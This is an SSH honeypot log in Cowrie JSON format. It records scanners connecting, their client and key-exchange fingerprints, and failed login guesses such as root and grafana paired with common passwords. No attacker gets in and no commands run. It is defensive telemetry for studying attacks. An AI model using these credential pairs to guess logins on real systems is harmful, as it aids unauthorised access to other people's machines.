{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:af:e4:4b:70:67:c4:83:11:70:f7:7c:65:c3:3e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO84yJrtAj663qbBeuqxZbQSV3L9pdXAj4+hwfuRf6qTAsH7H3yGzZrHD4H6MZeiCPi8OsOJs6DNAIf5YrCy63r8SzATWgssAjdYv6PmJHiziM06He/Xk9g9zW3WCAn6LxY4XE/ODAsM3Y3lKZ48aLoFenevbZukUzRvp6MuGy/zuvfxBM7/pZ+NtmB1b/0EftK93Qa9iGsrjuXOhtp/etaQsnkXYKkbCM3NiwODfufgdwswM5tLG791A3Ha+UM3Mjl13p3UnPBvtnZCl07DtbYDr2aNqrrMIZzxaFFvViRgOCa8eBn3ApPfNQTLoCWu5WanBzFCDAGZ/cqKFb9H0T1E49yOPpSBuAVJ/JG2GAwIDbLwnXvQua+WVBr86518BiYDzwJU1CAfnGOY4D9eT93ZdwXIFuQYicfgpXE0lBwEog6ZfREw4Opn8TODz69z6pdGmQ8Xs1CeoJ5NLQaI5P1RAr1+Fv9pfyfKktes/Yl9zQuSU+Rs1noeYiyF8KSXLpDxlQft031PahYCcTndHeoq2BD+EPSbV//3mZ+8UH1hfwVhWH/fwBIhOlAA3wsKnRWbm1LOM4DIJoa6On5FUDK9fi9kzTeRrNQrZ3ixgVd+OLjH2hk8ieVCs0mafkCD8uTJ1YyocLsFNz3Uxymh808a5ALQfavcpFhMeOI18uKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.794230Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:86:32:99:ac:b0:8f:dc:7b:ab:b7:43:63:fe:99:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNm1SHV/lx6AijzrCzCiIOPEBxFwr1pQlDRSa65FSQoXw2HnItT7gXV80z4KpIh/fi+P8Ky1uCwE464D8yXi1tDF0poCrj4mdZbVlY/LOKfjmWkYLkJllvnoLjRaPimAdQ3JJPJhSaRbW6VCfCHYTsoROOv5QE1uR1lgHu7E+h7UHWvkylW7kbqKJB70GLcaz6g+YnzKZi1g8j/PXu9Ga+wbyjFeHwMwO4z5HHjRNNBqvL0lJ5klMWlLG+T5vrVz+cYGHy3DuQSQCYfAisb5SDWJ5s2ewS4gewSc9tnywGVb6S3GzEU0ZoqZfe/fOdw8dlIA9zkqwP77gkHDiP0Nw4kn/xE3uTi1lhzurP/g5SF0ATxk6bB2VS4ugPBI+eAE4vd7oIoKzGQhZdJUt8aAwX+qlwo1Mb4CkFuKQJSDBDzXa5U8GU577Fz6p3xkdUA/hPahAVpwKW19p/usL5po7Ev8x9EnMlPhwHN9u7vLWi9X3U+RwT5Syx06Y6ARbTVpHKdCBWnpVf7MIi+MCwGP+BlwVZDMa7cQMVCu9bQHgTf7Z+wo8nGR62NS+t05tfuaVK0BJPeVqNv7fYLWKtyvbQvSbyGQh8zkMCMVfn4OhGwgbPXDu8aKXhIob9vDonpnBE5jksBNzLezzB1sjrritnJT/idkag/o2Z0du1Gmfp4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:86:32:99:ac:b0:8f:dc:7b:ab:b7:43:63:fe:99:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.801731Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:86:32:99:ac:b0:8f:dc:7b:ab:b7:43:63:fe:99:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNm1SHV/lx6AijzrCzCiIOPEBxFwr1pQlDRSa65FSQoXw2HnItT7gXV80z4KpIh/fi+P8Ky1uCwE464D8yXi1tDF0poCrj4mdZbVlY/LOKfjmWkYLkJllvnoLjRaPimAdQ3JJPJhSaRbW6VCfCHYTsoROOv5QE1uR1lgHu7E+h7UHWvkylW7kbqKJB70GLcaz6g+YnzKZi1g8j/PXu9Ga+wbyjFeHwMwO4z5HHjRNNBqvL0lJ5klMWlLG+T5vrVz+cYGHy3DuQSQCYfAisb5SDWJ5s2ewS4gewSc9tnywGVb6S3GzEU0ZoqZfe/fOdw8dlIA9zkqwP77gkHDiP0Nw4kn/xE3uTi1lhzurP/g5SF0ATxk6bB2VS4ugPBI+eAE4vd7oIoKzGQhZdJUt8aAwX+qlwo1Mb4CkFuKQJSDBDzXa5U8GU577Fz6p3xkdUA/hPahAVpwKW19p/usL5po7Ev8x9EnMlPhwHN9u7vLWi9X3U+RwT5Syx06Y6ARbTVpHKdCBWnpVf7MIi+MCwGP+BlwVZDMa7cQMVCu9bQHgTf7Z+wo8nGR62NS+t05tfuaVK0BJPeVqNv7fYLWKtyvbQvSbyGQh8zkMCMVfn4OhGwgbPXDu8aKXhIob9vDonpnBE5jksBNzLezzB1sjrritnJT/idkag/o2Z0du1Gmfp4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.805383Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:26:37.811476Z","src_ip":"206.221.176.152","session":"acaf01eae4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03449a153c2","protocol":"ssh","message":"New connection: 103.15.222.183:49184 (159.203.135.109:22) [session: f03449a153c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:01.940403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:01.947032Z","src_ip":"103.15.222.183","session":"f03449a153c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:02.201568Z","src_ip":"103.15.222.183","session":"f03449a153c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5y6u7i8","message":"login attempt [root/q1w2e3r4t5y6u7i8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:02.965270Z","src_ip":"103.15.222.183","session":"f03449a153c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:04.220962Z","src_ip":"103.15.222.183","session":"f03449a153c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57823,"dst_ip":"10.17.0.5","dst_port":22,"session":"525100ce5740","protocol":"ssh","message":"New connection: 152.42.212.128:57823 (10.17.0.5:22) [session: 525100ce5740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:31.416055Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:31.420434Z","src_ip":"152.42.212.128","session":"525100ce5740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:27:31.423872Z","src_ip":"152.42.212.128","session":"525100ce5740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":15131,"dst_ip":"159.203.135.109","dst_port":22,"session":"db4e66e3d7f5","protocol":"ssh","message":"New connection: 79.127.181.44:15131 (159.203.135.109:22) [session: db4e66e3d7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:22.283316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:22.493072Z","src_ip":"79.127.181.44","session":"db4e66e3d7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:22.698414Z","src_ip":"79.127.181.44","session":"db4e66e3d7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:22.704548Z","src_ip":"79.127.181.44","session":"db4e66e3d7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c1b59387db3","protocol":"ssh","message":"New connection: 37.233.85.71:50748 (159.203.135.109:22) [session: 3c1b59387db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:24.203878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:24.208047Z","src_ip":"37.233.85.71","session":"3c1b59387db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:24.317166Z","src_ip":"37.233.85.71","session":"3c1b59387db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:24.644318Z","src_ip":"37.233.85.71","session":"3c1b59387db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:25.756437Z","src_ip":"37.233.85.71","session":"3c1b59387db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43258,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f8ba16157c","protocol":"ssh","message":"New connection: 109.237.96.109:43258 (10.17.0.5:22) [session: 04f8ba16157c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:28.098507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:28.103739Z","src_ip":"109.237.96.109","session":"04f8ba16157c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:28.197906Z","src_ip":"109.237.96.109","session":"04f8ba16157c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mersedes","message":"login attempt [root/mersedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:28.483830Z","src_ip":"109.237.96.109","session":"04f8ba16157c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:28:29.580778Z","src_ip":"109.237.96.109","session":"04f8ba16157c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"041949369de0","protocol":"ssh","message":"New connection: 103.77.242.62:42944 (10.17.0.5:22) [session: 041949369de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:24.134693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:24.141299Z","src_ip":"103.77.242.62","session":"041949369de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:24.383080Z","src_ip":"103.77.242.62","session":"041949369de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homealone123`","message":"login attempt [root/homealone123`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:25.109941Z","src_ip":"103.77.242.62","session":"041949369de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:26.356028Z","src_ip":"103.77.242.62","session":"041949369de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50940,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f24b7a77d3","protocol":"ssh","message":"New connection: 80.94.92.186:50940 (159.203.135.109:22) [session: 09f24b7a77d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:30.795313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:30.848906Z","src_ip":"80.94.92.186","session":"09f24b7a77d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:30.954124Z","src_ip":"80.94.92.186","session":"09f24b7a77d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:31.558184Z","src_ip":"80.94.92.186","session":"09f24b7a77d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:33.190042Z","src_ip":"80.94.92.186","session":"09f24b7a77d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0ad1034aad3","protocol":"ssh","message":"New connection: 46.19.67.181:49634 (10.17.0.5:22) [session: c0ad1034aad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:35.724177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:35.729165Z","src_ip":"46.19.67.181","session":"c0ad1034aad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:35.841715Z","src_ip":"46.19.67.181","session":"c0ad1034aad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfgfvfvf","message":"login attempt [root/gfgfvfvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:29:36.187468Z","src_ip":"46.19.67.181","session":"c0ad1034aad3","protocol":"ssh"}
